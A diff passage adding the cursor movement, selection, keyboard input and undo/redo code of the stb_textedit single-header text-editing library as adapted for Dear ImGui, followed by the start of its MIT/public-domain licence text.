state->select_end = state->cursor; + state->has_preferred_x = 0; +} + +// API drag: on mouse drag, move the cursor and selection endpoint to the clicked location +static void stb_textedit_drag(STB_TEXTEDIT_STRING *str, STB_TexteditState *state, float x, float y) +{ + int p = 0; + + // In single-line mode, just always make y = 0. This lets the drag keep working if the mouse + // goes off the top or bottom of the text + if( state->single_line ) + { + StbTexteditRow r; + STB_TEXTEDIT_LAYOUTROW(&r, str, 0); + y = r.ymin; + } + + if (state->select_start == state->select_end) + state->select_start = state->cursor; + + p = stb_text_locate_coord(str, x, y); + state->cursor = state->select_end = p; +} + +///////////////////////////////////////////////////////////////////////////// +// +// Keyboard input handling +// + +// forward declarations +static void stb_text_undo(STB_TEXTEDIT_STRING *str, STB_TexteditState *state); +static void stb_text_redo(STB_TEXTEDIT_STRING *str, STB_TexteditState *state); +static void stb_text_makeundo_delete(STB_TEXTEDIT_STRING *str, STB_TexteditState *state, int where, int length); +static void stb_text_makeundo_insert(STB_TexteditState *state, int where, int length); +static void stb_text_makeundo_replace(STB_TEXTEDIT_STRING *str, STB_TexteditState *state, int where, int old_length, int new_length); + +typedef struct +{ + float x,y; // position of n'th character + float height; // height of line + int first_char, length; // first char of row, and length + int prev_first; // first char of previous row +} StbFindState; + +// find the x/y location of a character, and remember info about the previous row in +// case we get a move-up event (for page up, we'll have to rescan) +static void stb_textedit_find_charpos(StbFindState *find, STB_TEXTEDIT_STRING *str, int n, int single_line) +{ + StbTexteditRow r; + int prev_start = 0; + int z = STB_TEXTEDIT_STRINGLEN(str); + int i=0, first; + + if (n == z) { + // if it's at the end, then find the last line -- simpler than trying to + // explicitly handle this case in the regular code + if (single_line) { + STB_TEXTEDIT_LAYOUTROW(&r, str, 0); + find->y = 0; + find->first_char = 0; + find->length = z; + find->height = r.ymax - r.ymin; + find->x = r.x1; + } else { + find->y = 0; + find->x = 0; + find->height = 1; + while (i < z) { + STB_TEXTEDIT_LAYOUTROW(&r, str, i); + prev_start = i; + i += r.num_chars; + } + find->first_char = i; + find->length = 0; + find->prev_first = prev_start; + } + return; + } + + // search rows to find the one that straddles character n + find->y = 0; + + for(;;) { + STB_TEXTEDIT_LAYOUTROW(&r, str, i); + if (n < i + r.num_chars) + break; + prev_start = i; + i += r.num_chars; + find->y += r.baseline_y_delta; + } + + find->first_char = first = i; + find->length = r.num_chars; + find->height = r.ymax - r.ymin; + find->prev_first = prev_start; + + // now scan to find xpos + find->x = r.x0; + for (i=0; first+i < n; ++i) + find->x += STB_TEXTEDIT_GETWIDTH(str, first, i); +} + +#define STB_TEXT_HAS_SELECTION(s) ((s)->select_start != (s)->select_end) + +// make the selection/cursor state valid if client altered the string +static void stb_textedit_clamp(STB_TEXTEDIT_STRING *str, STB_TexteditState *state) +{ + int n = STB_TEXTEDIT_STRINGLEN(str); + if (STB_TEXT_HAS_SELECTION(state)) { + if (state->select_start > n) state->select_start = n; + if (state->select_end > n) state->select_end = n; + // if clamping forced them to be equal, move the cursor to match + if (state->select_start == state->select_end) + state->cursor = state->select_start; + } + if (state->cursor > n) state->cursor = n; +} + +// delete characters while updating undo +static void stb_textedit_delete(STB_TEXTEDIT_STRING *str, STB_TexteditState *state, int where, int len) +{ + stb_text_makeundo_delete(str, state, where, len); + STB_TEXTEDIT_DELETECHARS(str, where, len); + state->has_preferred_x = 0; +} + +// delete the section +static void stb_textedit_delete_selection(STB_TEXTEDIT_STRING *str, STB_TexteditState *state) +{ + stb_textedit_clamp(str, state); + if (STB_TEXT_HAS_SELECTION(state)) { + if (state->select_start < state->select_end) { + stb_textedit_delete(str, state, state->select_start, state->select_end - state->select_start); + state->select_end = state->cursor = state->select_start; + } else { + stb_textedit_delete(str, state, state->select_end, state->select_start - state->select_end); + state->select_start = state->cursor = state->select_end; + } + state->has_preferred_x = 0; + } +} + +// canoncialize the selection so start <= end +static void stb_textedit_sortselection(STB_TexteditState *state) +{ + if (state->select_end < state->select_start) { + int temp = state->select_end; + state->select_end = state->select_start; + state->select_start = temp; + } +} + +// move cursor to first character of selection +static void stb_textedit_move_to_first(STB_TexteditState *state) +{ + if (STB_TEXT_HAS_SELECTION(state)) { + stb_textedit_sortselection(state); + state->cursor = state->select_start; + state->select_end = state->select_start; + state->has_preferred_x = 0; + } +} + +// move cursor to last character of selection +static void stb_textedit_move_to_last(STB_TEXTEDIT_STRING *str, STB_TexteditState *state) +{ + if (STB_TEXT_HAS_SELECTION(state)) { + stb_textedit_sortselection(state); + stb_textedit_clamp(str, state); + state->cursor = state->select_end; + state->select_start = state->select_end; + state->has_preferred_x = 0; + } +} + +#ifdef STB_TEXTEDIT_IS_SPACE +static int is_word_boundary( STB_TEXTEDIT_STRING *str, int idx ) +{ + return idx > 0 ? (STB_TEXTEDIT_IS_SPACE( STB_TEXTEDIT_GETCHAR(str,idx-1) ) && !STB_TEXTEDIT_IS_SPACE( STB_TEXTEDIT_GETCHAR(str, idx) ) ) : 1; +} + +#ifndef STB_TEXTEDIT_MOVEWORDLEFT +static int stb_textedit_move_to_word_previous( STB_TEXTEDIT_STRING *str, int c ) +{ + --c; // always move at least one character + while( c >= 0 && !is_word_boundary( str, c ) ) + --c; + + if( c < 0 ) + c = 0; + + return c; +} +#define STB_TEXTEDIT_MOVEWORDLEFT stb_textedit_move_to_word_previous +#endif + +#ifndef STB_TEXTEDIT_MOVEWORDRIGHT +static int stb_textedit_move_to_word_next( STB_TEXTEDIT_STRING *str, int c ) +{ + const int len = STB_TEXTEDIT_STRINGLEN(str); + ++c; // always move at least one character + while( c < len && !is_word_boundary( str, c ) ) + ++c; + + if( c > len ) + c = len; + + return c; +} +#define STB_TEXTEDIT_MOVEWORDRIGHT stb_textedit_move_to_word_next +#endif + +#endif + +// update selection and cursor to match each other +static void stb_textedit_prep_selection_at_cursor(STB_TexteditState *state) +{ + if (!STB_TEXT_HAS_SELECTION(state)) + state->select_start = state->select_end = state->cursor; + else + state->cursor = state->select_end; +} + +// API cut: delete selection +static int stb_textedit_cut(STB_TEXTEDIT_STRING *str, STB_TexteditState *state) +{ + if (STB_TEXT_HAS_SELECTION(state)) { + stb_textedit_delete_selection(str,state); // implicitly clamps + state->has_preferred_x = 0; + return 1; + } + return 0; +} + +// API paste: replace existing selection with passed-in text +static int stb_textedit_paste_internal(STB_TEXTEDIT_STRING *str, STB_TexteditState *state, STB_TEXTEDIT_CHARTYPE *text, int len) +{ + // if there's a selection, the paste should delete it + stb_textedit_clamp(str, state); + stb_textedit_delete_selection(str,state); + // try to insert the characters + if (STB_TEXTEDIT_INSERTCHARS(str, state->cursor, text, len)) { + stb_text_makeundo_insert(state, state->cursor, len); + state->cursor += len; + state->has_preferred_x = 0; + return 1; + } + // remove the undo since we didn't actually insert the characters + if (state->undostate.undo_point) + --state->undostate.undo_point; + return 0; +} + +#ifndef STB_TEXTEDIT_KEYTYPE +#define STB_TEXTEDIT_KEYTYPE int +#endif + +// API key: process a keyboard input +static void stb_textedit_key(STB_TEXTEDIT_STRING *str, STB_TexteditState *state, STB_TEXTEDIT_KEYTYPE key) +{ +retry: + switch (key) { + default: { + int c = STB_TEXTEDIT_KEYTOTEXT(key); + if (c > 0) { + STB_TEXTEDIT_CHARTYPE ch = (STB_TEXTEDIT_CHARTYPE) c; + + // can't add newline in single-line mode + if (c == '\n' && state->single_line) + break; + + if (state->insert_mode && !STB_TEXT_HAS_SELECTION(state) && state->cursor < STB_TEXTEDIT_STRINGLEN(str)) { + stb_text_makeundo_replace(str, state, state->cursor, 1, 1); + STB_TEXTEDIT_DELETECHARS(str, state->cursor, 1); + if (STB_TEXTEDIT_INSERTCHARS(str, state->cursor, &ch, 1)) { + ++state->cursor; + state->has_preferred_x = 0; + } + } else { + stb_textedit_delete_selection(str,state); // implicitly clamps + if (STB_TEXTEDIT_INSERTCHARS(str, state->cursor, &ch, 1)) { + stb_text_makeundo_insert(state, state->cursor, 1); + ++state->cursor; + state->has_preferred_x = 0; + } + } + } + break; + } + +#ifdef STB_TEXTEDIT_K_INSERT + case STB_TEXTEDIT_K_INSERT: + state->insert_mode = !state->insert_mode; + break; +#endif + + case STB_TEXTEDIT_K_UNDO: + stb_text_undo(str, state); + state->has_preferred_x = 0; + break; + + case STB_TEXTEDIT_K_REDO: + stb_text_redo(str, state); + state->has_preferred_x = 0; + break; + + case STB_TEXTEDIT_K_LEFT: + // if currently there's a selection, move cursor to start of selection + if (STB_TEXT_HAS_SELECTION(state)) + stb_textedit_move_to_first(state); + else + if (state->cursor > 0) + --state->cursor; + state->has_preferred_x = 0; + break; + + case STB_TEXTEDIT_K_RIGHT: + // if currently there's a selection, move cursor to end of selection + if (STB_TEXT_HAS_SELECTION(state)) + stb_textedit_move_to_last(str, state); + else + ++state->cursor; + stb_textedit_clamp(str, state); + state->has_preferred_x = 0; + break; + + case STB_TEXTEDIT_K_LEFT | STB_TEXTEDIT_K_SHIFT: + stb_textedit_clamp(str, state); + stb_textedit_prep_selection_at_cursor(state); + // move selection left + if (state->select_end > 0) + --state->select_end; + state->cursor = state->select_end; + state->has_preferred_x = 0; + break; + +#ifdef STB_TEXTEDIT_MOVEWORDLEFT + case STB_TEXTEDIT_K_WORDLEFT: + if (STB_TEXT_HAS_SELECTION(state)) + stb_textedit_move_to_first(state); + else { + state->cursor = STB_TEXTEDIT_MOVEWORDLEFT(str, state->cursor); + stb_textedit_clamp( str, state ); + } + break; + + case STB_TEXTEDIT_K_WORDLEFT | STB_TEXTEDIT_K_SHIFT: + if( !STB_TEXT_HAS_SELECTION( state ) ) + stb_textedit_prep_selection_at_cursor(state); + + state->cursor = STB_TEXTEDIT_MOVEWORDLEFT(str, state->cursor); + state->select_end = state->cursor; + + stb_textedit_clamp( str, state ); + break; +#endif + +#ifdef STB_TEXTEDIT_MOVEWORDRIGHT + case STB_TEXTEDIT_K_WORDRIGHT: + if (STB_TEXT_HAS_SELECTION(state)) + stb_textedit_move_to_last(str, state); + else { + state->cursor = STB_TEXTEDIT_MOVEWORDRIGHT(str, state->cursor); + stb_textedit_clamp( str, state ); + } + break; + + case STB_TEXTEDIT_K_WORDRIGHT | STB_TEXTEDIT_K_SHIFT: + if( !STB_TEXT_HAS_SELECTION( state ) ) + stb_textedit_prep_selection_at_cursor(state); + + state->cursor = STB_TEXTEDIT_MOVEWORDRIGHT(str, state->cursor); + state->select_end = state->cursor; + + stb_textedit_clamp( str, state ); + break; +#endif + + case STB_TEXTEDIT_K_RIGHT | STB_TEXTEDIT_K_SHIFT: + stb_textedit_prep_selection_at_cursor(state); + // move selection right + ++state->select_end; + stb_textedit_clamp(str, state); + state->cursor = state->select_end; + state->has_preferred_x = 0; + break; + + case STB_TEXTEDIT_K_DOWN: + case STB_TEXTEDIT_K_DOWN | STB_TEXTEDIT_K_SHIFT: + case STB_TEXTEDIT_K_PGDOWN: + case STB_TEXTEDIT_K_PGDOWN | STB_TEXTEDIT_K_SHIFT: { + StbFindState find; + StbTexteditRow row; + int i, j, sel = (key & STB_TEXTEDIT_K_SHIFT) != 0; + int is_page = (key & ~STB_TEXTEDIT_K_SHIFT) == STB_TEXTEDIT_K_PGDOWN; + int row_count = is_page ? state->row_count_per_page : 1; + + if (!is_page && state->single_line) { + // on windows, up&down in single-line behave like left&right + key = STB_TEXTEDIT_K_RIGHT | (key & STB_TEXTEDIT_K_SHIFT); + goto retry; + } + + if (sel) + stb_textedit_prep_selection_at_cursor(state); + else if (STB_TEXT_HAS_SELECTION(state)) + stb_textedit_move_to_last(str, state); + + // compute current position of cursor point + stb_textedit_clamp(str, state); + stb_textedit_find_charpos(&find, str, state->cursor, state->single_line); + + for (j = 0; j < row_count; ++j) { + float x, goal_x = state->has_preferred_x ? state->preferred_x : find.x; + int start = find.first_char + find.length; + + if (find.length == 0) + break; + + // [DEAR IMGUI] + // going down while being on the last line shouldn't bring us to that line end + if (STB_TEXTEDIT_GETCHAR(str, find.first_char + find.length - 1) != STB_TEXTEDIT_NEWLINE) + break; + + // now find character position down a row + state->cursor = start; + STB_TEXTEDIT_LAYOUTROW(&row, str, state->cursor); + x = row.x0; + for (i=0; i < row.num_chars; ++i) { + float dx = STB_TEXTEDIT_GETWIDTH(str, start, i); + #ifdef STB_TEXTEDIT_GETWIDTH_NEWLINE + if (dx == STB_TEXTEDIT_GETWIDTH_NEWLINE) + break; + #endif + x += dx; + if (x > goal_x) + break; + ++state->cursor; + } + stb_textedit_clamp(str, state); + + state->has_preferred_x = 1; + state->preferred_x = goal_x; + + if (sel) + state->select_end = state->cursor; + + // go to next line + find.first_char = find.first_char + find.length; + find.length = row.num_chars; + } + break; + } + + case STB_TEXTEDIT_K_UP: + case STB_TEXTEDIT_K_UP | STB_TEXTEDIT_K_SHIFT: + case STB_TEXTEDIT_K_PGUP: + case STB_TEXTEDIT_K_PGUP | STB_TEXTEDIT_K_SHIFT: { + StbFindState find; + StbTexteditRow row; + int i, j, prev_scan, sel = (key & STB_TEXTEDIT_K_SHIFT) != 0; + int is_page = (key & ~STB_TEXTEDIT_K_SHIFT) == STB_TEXTEDIT_K_PGUP; + int row_count = is_page ? state->row_count_per_page : 1; + + if (!is_page && state->single_line) { + // on windows, up&down become left&right + key = STB_TEXTEDIT_K_LEFT | (key & STB_TEXTEDIT_K_SHIFT); + goto retry; + } + + if (sel) + stb_textedit_prep_selection_at_cursor(state); + else if (STB_TEXT_HAS_SELECTION(state)) + stb_textedit_move_to_first(state); + + // compute current position of cursor point + stb_textedit_clamp(str, state); + stb_textedit_find_charpos(&find, str, state->cursor, state->single_line); + + for (j = 0; j < row_count; ++j) { + float x, goal_x = state->has_preferred_x ? state->preferred_x : find.x; + + // can only go up if there's a previous row + if (find.prev_first == find.first_char) + break; + + // now find character position up a row + state->cursor = find.prev_first; + STB_TEXTEDIT_LAYOUTROW(&row, str, state->cursor); + x = row.x0; + for (i=0; i < row.num_chars; ++i) { + float dx = STB_TEXTEDIT_GETWIDTH(str, find.prev_first, i); + #ifdef STB_TEXTEDIT_GETWIDTH_NEWLINE + if (dx == STB_TEXTEDIT_GETWIDTH_NEWLINE) + break; + #endif + x += dx; + if (x > goal_x) + break; + ++state->cursor; + } + stb_textedit_clamp(str, state); + + state->has_preferred_x = 1; + state->preferred_x = goal_x; + + if (sel) + state->select_end = state->cursor; + + // go to previous line + // (we need to scan previous line the hard way. maybe we could expose this as a new API function?) + prev_scan = find.prev_first > 0 ? find.prev_first - 1 : 0; + while (prev_scan > 0 && STB_TEXTEDIT_GETCHAR(str, prev_scan - 1) != STB_TEXTEDIT_NEWLINE) + --prev_scan; + find.first_char = find.prev_first; + find.prev_first = prev_scan; + } + break; + } + + case STB_TEXTEDIT_K_DELETE: + case STB_TEXTEDIT_K_DELETE | STB_TEXTEDIT_K_SHIFT: + if (STB_TEXT_HAS_SELECTION(state)) + stb_textedit_delete_selection(str, state); + else { + int n = STB_TEXTEDIT_STRINGLEN(str); + if (state->cursor < n) + stb_textedit_delete(str, state, state->cursor, 1); + } + state->has_preferred_x = 0; + break; + + case STB_TEXTEDIT_K_BACKSPACE: + case STB_TEXTEDIT_K_BACKSPACE | STB_TEXTEDIT_K_SHIFT: + if (STB_TEXT_HAS_SELECTION(state)) + stb_textedit_delete_selection(str, state); + else { + stb_textedit_clamp(str, state); + if (state->cursor > 0) { + stb_textedit_delete(str, state, state->cursor-1, 1); + --state->cursor; + } + } + state->has_preferred_x = 0; + break; + +#ifdef STB_TEXTEDIT_K_TEXTSTART2 + case STB_TEXTEDIT_K_TEXTSTART2: +#endif + case STB_TEXTEDIT_K_TEXTSTART: + state->cursor = state->select_start = state->select_end = 0; + state->has_preferred_x = 0; + break; + +#ifdef STB_TEXTEDIT_K_TEXTEND2 + case STB_TEXTEDIT_K_TEXTEND2: +#endif + case STB_TEXTEDIT_K_TEXTEND: + state->cursor = STB_TEXTEDIT_STRINGLEN(str); + state->select_start = state->select_end = 0; + state->has_preferred_x = 0; + break; + +#ifdef STB_TEXTEDIT_K_TEXTSTART2 + case STB_TEXTEDIT_K_TEXTSTART2 | STB_TEXTEDIT_K_SHIFT: +#endif + case STB_TEXTEDIT_K_TEXTSTART | STB_TEXTEDIT_K_SHIFT: + stb_textedit_prep_selection_at_cursor(state); + state->cursor = state->select_end = 0; + state->has_preferred_x = 0; + break; + +#ifdef STB_TEXTEDIT_K_TEXTEND2 + case STB_TEXTEDIT_K_TEXTEND2 | STB_TEXTEDIT_K_SHIFT: +#endif + case STB_TEXTEDIT_K_TEXTEND | STB_TEXTEDIT_K_SHIFT: + stb_textedit_prep_selection_at_cursor(state); + state->cursor = state->select_end = STB_TEXTEDIT_STRINGLEN(str); + state->has_preferred_x = 0; + break; + + +#ifdef STB_TEXTEDIT_K_LINESTART2 + case STB_TEXTEDIT_K_LINESTART2: +#endif + case STB_TEXTEDIT_K_LINESTART: + stb_textedit_clamp(str, state); + stb_textedit_move_to_first(state); + if (state->single_line) + state->cursor = 0; + else while (state->cursor > 0 && STB_TEXTEDIT_GETCHAR(str, state->cursor-1) != STB_TEXTEDIT_NEWLINE) + --state->cursor; + state->has_preferred_x = 0; + break; + +#ifdef STB_TEXTEDIT_K_LINEEND2 + case STB_TEXTEDIT_K_LINEEND2: +#endif + case STB_TEXTEDIT_K_LINEEND: { + int n = STB_TEXTEDIT_STRINGLEN(str); + stb_textedit_clamp(str, state); + stb_textedit_move_to_first(state); + if (state->single_line) + state->cursor = n; + else while (state->cursor < n && STB_TEXTEDIT_GETCHAR(str, state->cursor) != STB_TEXTEDIT_NEWLINE) + ++state->cursor; + state->has_preferred_x = 0; + break; + } + +#ifdef STB_TEXTEDIT_K_LINESTART2 + case STB_TEXTEDIT_K_LINESTART2 | STB_TEXTEDIT_K_SHIFT: +#endif + case STB_TEXTEDIT_K_LINESTART | STB_TEXTEDIT_K_SHIFT: + stb_textedit_clamp(str, state); + stb_textedit_prep_selection_at_cursor(state); + if (state->single_line) + state->cursor = 0; + else while (state->cursor > 0 && STB_TEXTEDIT_GETCHAR(str, state->cursor-1) != STB_TEXTEDIT_NEWLINE) + --state->cursor; + state->select_end = state->cursor; + state->has_preferred_x = 0; + break; + +#ifdef STB_TEXTEDIT_K_LINEEND2 + case STB_TEXTEDIT_K_LINEEND2 | STB_TEXTEDIT_K_SHIFT: +#endif + case STB_TEXTEDIT_K_LINEEND | STB_TEXTEDIT_K_SHIFT: { + int n = STB_TEXTEDIT_STRINGLEN(str); + stb_textedit_clamp(str, state); + stb_textedit_prep_selection_at_cursor(state); + if (state->single_line) + state->cursor = n; + else while (state->cursor < n && STB_TEXTEDIT_GETCHAR(str, state->cursor) != STB_TEXTEDIT_NEWLINE) + ++state->cursor; + state->select_end = state->cursor; + state->has_preferred_x = 0; + break; + } + } +} + +///////////////////////////////////////////////////////////////////////////// +// +// Undo processing +// +// @OPTIMIZE: the undo/redo buffer should be circular + +static void stb_textedit_flush_redo(StbUndoState *state) +{ + state->redo_point = STB_TEXTEDIT_UNDOSTATECOUNT; + state->redo_char_point = STB_TEXTEDIT_UNDOCHARCOUNT; +} + +// discard the oldest entry in the undo list +static void stb_textedit_discard_undo(StbUndoState *state) +{ + if (state->undo_point > 0) { + // if the 0th undo state has characters, clean those up + if (state->undo_rec[0].char_storage >= 0) { + int n = state->undo_rec[0].insert_length, i; + // delete n characters from all other records + state->undo_char_point -= n; + STB_TEXTEDIT_memmove(state->undo_char, state->undo_char + n, (size_t) (state->undo_char_point*sizeof(STB_TEXTEDIT_CHARTYPE))); + for (i=0; i < state->undo_point; ++i) + if (state->undo_rec[i].char_storage >= 0) + state->undo_rec[i].char_storage -= n; // @OPTIMIZE: get rid of char_storage and infer it + } + --state->undo_point; + STB_TEXTEDIT_memmove(state->undo_rec, state->undo_rec+1, (size_t) (state->undo_point*sizeof(state->undo_rec[0]))); + } +} + +// discard the oldest entry in the redo list--it's bad if this +// ever happens, but because undo & redo have to store the actual +// characters in different cases, the redo character buffer can +// fill up even though the undo buffer didn't +static void stb_textedit_discard_redo(StbUndoState *state) +{ + int k = STB_TEXTEDIT_UNDOSTATECOUNT-1; + + if (state->redo_point <= k) { + // if the k'th undo state has characters, clean those up + if (state->undo_rec[k].char_storage >= 0) { + int n = state->undo_rec[k].insert_length, i; + // move the remaining redo character data to the end of the buffer + state->redo_char_point += n; + STB_TEXTEDIT_memmove(state->undo_char + state->redo_char_point, state->undo_char + state->redo_char_point-n, (size_t) ((STB_TEXTEDIT_UNDOCHARCOUNT - state->redo_char_point)*sizeof(STB_TEXTEDIT_CHARTYPE))); + // adjust the position of all the other records to account for above memmove + for (i=state->redo_point; i < k; ++i) + if (state->undo_rec[i].char_storage >= 0) + state->undo_rec[i].char_storage += n; + } + // now move all the redo records towards the end of the buffer; the first one is at 'redo_point' + // [DEAR IMGUI] + size_t move_size = (size_t)((STB_TEXTEDIT_UNDOSTATECOUNT - state->redo_point - 1) * sizeof(state->undo_rec[0])); + const char* buf_begin = (char*)state->undo_rec; (void)buf_begin; + const char* buf_end = (char*)state->undo_rec + sizeof(state->undo_rec); (void)buf_end; + IM_ASSERT(((char*)(state->undo_rec + state->redo_point)) >= buf_begin); + IM_ASSERT(((char*)(state->undo_rec + state->redo_point + 1) + move_size) <= buf_end); + STB_TEXTEDIT_memmove(state->undo_rec + state->redo_point+1, state->undo_rec + state->redo_point, move_size); + + // now move redo_point to point to the new one + ++state->redo_point; + } +} + +static StbUndoRecord *stb_text_create_undo_record(StbUndoState *state, int numchars) +{ + // any time we create a new undo record, we discard redo + stb_textedit_flush_redo(state); + + // if we have no free records, we have to make room, by sliding the + // existing records down + if (state->undo_point == STB_TEXTEDIT_UNDOSTATECOUNT) + stb_textedit_discard_undo(state); + + // if the characters to store won't possibly fit in the buffer, we can't undo + if (numchars > STB_TEXTEDIT_UNDOCHARCOUNT) { + state->undo_point = 0; + state->undo_char_point = 0; + return NULL; + } + + // if we don't have enough free characters in the buffer, we have to make room + while (state->undo_char_point + numchars > STB_TEXTEDIT_UNDOCHARCOUNT) + stb_textedit_discard_undo(state); + + return &state->undo_rec[state->undo_point++]; +} + +static STB_TEXTEDIT_CHARTYPE *stb_text_createundo(StbUndoState *state, int pos, int insert_len, int delete_len) +{ + StbUndoRecord *r = stb_text_create_undo_record(state, insert_len); + if (r == NULL) + return NULL; + + r->where = pos; + r->insert_length = (STB_TEXTEDIT_POSITIONTYPE) insert_len; + r->delete_length = (STB_TEXTEDIT_POSITIONTYPE) delete_len; + + if (insert_len == 0) { + r->char_storage = -1; + return NULL; + } else { + r->char_storage = state->undo_char_point; + state->undo_char_point += insert_len; + return &state->undo_char[r->char_storage]; + } +} + +static void stb_text_undo(STB_TEXTEDIT_STRING *str, STB_TexteditState *state) +{ + StbUndoState *s = &state->undostate; + StbUndoRecord u, *r; + if (s->undo_point == 0) + return; + + // we need to do two things: apply the undo record, and create a redo record + u = s->undo_rec[s->undo_point-1]; + r = &s->undo_rec[s->redo_point-1]; + r->char_storage = -1; + + r->insert_length = u.delete_length; + r->delete_length = u.insert_length; + r->where = u.where; + + if (u.delete_length) { + // if the undo record says to delete characters, then the redo record will + // need to re-insert the characters that get deleted, so we need to store + // them. + + // there are three cases: + // there's enough room to store the characters + // characters stored for *redoing* don't leave room for redo + // characters stored for *undoing* don't leave room for redo + // if the last is true, we have to bail + + if (s->undo_char_point + u.delete_length >= STB_TEXTEDIT_UNDOCHARCOUNT) { + // the undo records take up too much character space; there's no space to store the redo characters + r->insert_length = 0; + } else { + int i; + + // there's definitely room to store the characters eventually + while (s->undo_char_point + u.delete_length > s->redo_char_point) { + // should never happen: + if (s->redo_point == STB_TEXTEDIT_UNDOSTATECOUNT) + return; + // there's currently not enough room, so discard a redo record + stb_textedit_discard_redo(s); + } + r = &s->undo_rec[s->redo_point-1]; + + r->char_storage = s->redo_char_point - u.delete_length; + s->redo_char_point = s->redo_char_point - u.delete_length; + + // now save the characters + for (i=0; i < u.delete_length; ++i) + s->undo_char[r->char_storage + i] = STB_TEXTEDIT_GETCHAR(str, u.where + i); + } + + // now we can carry out the deletion + STB_TEXTEDIT_DELETECHARS(str, u.where, u.delete_length); + } + + // check type of recorded action: + if (u.insert_length) { + // easy case: was a deletion, so we need to insert n characters + STB_TEXTEDIT_INSERTCHARS(str, u.where, &s->undo_char[u.char_storage], u.insert_length); + s->undo_char_point -= u.insert_length; + } + + state->cursor = u.where + u.insert_length; + + s->undo_point--; + s->redo_point--; +} + +static void stb_text_redo(STB_TEXTEDIT_STRING *str, STB_TexteditState *state) +{ + StbUndoState *s = &state->undostate; + StbUndoRecord *u, r; + if (s->redo_point == STB_TEXTEDIT_UNDOSTATECOUNT) + return; + + // we need to do two things: apply the redo record, and create an undo record + u = &s->undo_rec[s->undo_point]; + r = s->undo_rec[s->redo_point]; + + // we KNOW there must be room for the undo record, because the redo record + // was derived from an undo record + + u->delete_length = r.insert_length; + u->insert_length = r.delete_length; + u->where = r.where; + u->char_storage = -1; + + if (r.delete_length) { + // the redo record requires us to delete characters, so the undo record + // needs to store the characters + + if (s->undo_char_point + u->insert_length > s->redo_char_point) { + u->insert_length = 0; + u->delete_length = 0; + } else { + int i; + u->char_storage = s->undo_char_point; + s->undo_char_point = s->undo_char_point + u->insert_length; + + // now save the characters + for (i=0; i < u->insert_length; ++i) + s->undo_char[u->char_storage + i] = STB_TEXTEDIT_GETCHAR(str, u->where + i); + } + + STB_TEXTEDIT_DELETECHARS(str, r.where, r.delete_length); + } + + if (r.insert_length) { + // easy case: need to insert n characters + STB_TEXTEDIT_INSERTCHARS(str, r.where, &s->undo_char[r.char_storage], r.insert_length); + s->redo_char_point += r.insert_length; + } + + state->cursor = r.where + r.insert_length; + + s->undo_point++; + s->redo_point++; +} + +static void stb_text_makeundo_insert(STB_TexteditState *state, int where, int length) +{ + stb_text_createundo(&state->undostate, where, 0, length); +} + +static void stb_text_makeundo_delete(STB_TEXTEDIT_STRING *str, STB_TexteditState *state, int where, int length) +{ + int i; + STB_TEXTEDIT_CHARTYPE *p = stb_text_createundo(&state->undostate, where, length, 0); + if (p) { + for (i=0; i < length; ++i) + p[i] = STB_TEXTEDIT_GETCHAR(str, where+i); + } +} + +static void stb_text_makeundo_replace(STB_TEXTEDIT_STRING *str, STB_TexteditState *state, int where, int old_length, int new_length) +{ + int i; + STB_TEXTEDIT_CHARTYPE *p = stb_text_createundo(&state->undostate, where, old_length, new_length); + if (p) { + for (i=0; i < old_length; ++i) + p[i] = STB_TEXTEDIT_GETCHAR(str, where+i); + } +} + +// reset the state to default +static void stb_textedit_clear_state(STB_TexteditState *state, int is_single_line) +{ + state->undostate.undo_point = 0; + state->undostate.undo_char_point = 0; + state->undostate.redo_point = STB_TEXTEDIT_UNDOSTATECOUNT; + state->undostate.redo_char_point = STB_TEXTEDIT_UNDOCHARCOUNT; + state->select_end = state->select_start = 0; + state->cursor = 0; + state->has_preferred_x = 0; + state->preferred_x = 0; + state->cursor_at_end_of_line = 0; + state->initialized = 1; + state->single_line = (unsigned char) is_single_line; + state->insert_mode = 0; + state->row_count_per_page = 0; +} + +// API initialize +static void stb_textedit_initialize_state(STB_TexteditState *state, int is_single_line) +{ + stb_textedit_clear_state(state, is_single_line); +} + +#if defined(__GNUC__) || defined(__clang__) +#pragma GCC diagnostic push +#pragma GCC diagnostic ignored "-Wcast-qual" +#endif + +static int stb_textedit_paste(STB_TEXTEDIT_STRING *str, STB_TexteditState *state, STB_TEXTEDIT_CHARTYPE const *ctext, int len) +{ + return stb_textedit_paste_internal(str, state, (STB_TEXTEDIT_CHARTYPE *) ctext, len); +} + +#if defined(__GNUC__) || defined(__clang__) +#pragma GCC diagnostic pop +#endif + +#endif//STB_TEXTEDIT_IMPLEMENTATION + +/* +------------------------------------------------------------------------------ +This software is available under 2 licenses -- choose whichever you prefer. +------------------------------------------------------------------------------ +ALTERNATIVE A - MIT License +Copyright (c) 2017 Sean Barrett +Permission is hereby granted, free of charge, to any person obtaining a copy of +this software and associated documentation files (the "Software"), to deal in +the Software without restriction, including without limitation the rights to +use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies +of the Software, and to permit persons to whom the Software is furnished to do +so, subject to the following conditions: +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. +------------------------------------------------------------------------------ +ALTERNATIVE B - Public Domain (www.unlicense.org) +This is free and unencumbered software released into the public domain. +Anyone is free to copy, modify, publish, use, compile, sell, or distribute this +software, either in source code form or as a compiled binary, for any purpose, +commercial or non-commercial, and by any means. +In jurisdictions that recognize copyright laws, the author or authors of this +software dedicate any and all copyright interest in the software to the public +domain. We make this dedication for the benefit of the public at large and to +the detriment of our heirs and successors. We intend this dedication to be an +overt act of relinquishment in perpetuity of all present and future rights to +this software under copyright law. +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN +ACTION OF CONTRACT, TORT OR 